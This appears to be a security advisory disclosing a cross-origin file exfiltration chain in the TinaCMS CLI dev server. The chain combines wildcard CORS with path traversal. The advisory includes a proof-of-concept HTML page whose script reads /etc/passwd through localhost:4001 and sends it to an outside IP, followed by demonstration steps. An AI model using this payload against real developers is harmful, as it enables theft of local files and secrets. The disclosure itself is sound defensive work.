TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS

Summary

The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.

Details

The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:

• packages/@tinacms/cli/src/server/server.ts:

  app.use(cors());

• packages/@tinacms/cli/src/next/vite/plugins.ts:

     server.middlewares.use(cors());

When combined with the path traversal vulnerability, this creates a complete attack chain.

Attack Scenario

Prerequisites

1. Developer runs tinacms dev (default port 4001)
2. Developer visits attacker's website while TinaCMS is running

No other conditions required - the dev server doesn't need to be:

• Exposed to the internet
• Bound to 0.0.0.0
• Accessible outside localhost

Attack Flow

1. Developer starts TinaCMS: tinacms dev
2. Developer browses the web (checking email, social media, etc.)
3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files
5. Files are exfiltrated to attacker's server

PoC

Attacker's Malicious Website (evil.html):

<script>
fetch('http://localhost:4001/../../../etc/passwd')
  .then(r => r.text())
  .then(data => {
    // Exfil via GET
    const img = new Image();
    img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
  });
</script>

Demonstration

Step 1: Start TinaCMS dev server

tinacms dev
# Server running on http://localhost:4001

Step 2: Host evil.html on attacker server

python3 -m http.server 8000

Step 3: Developer visits http://attacker-server:8000/evil.html

The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />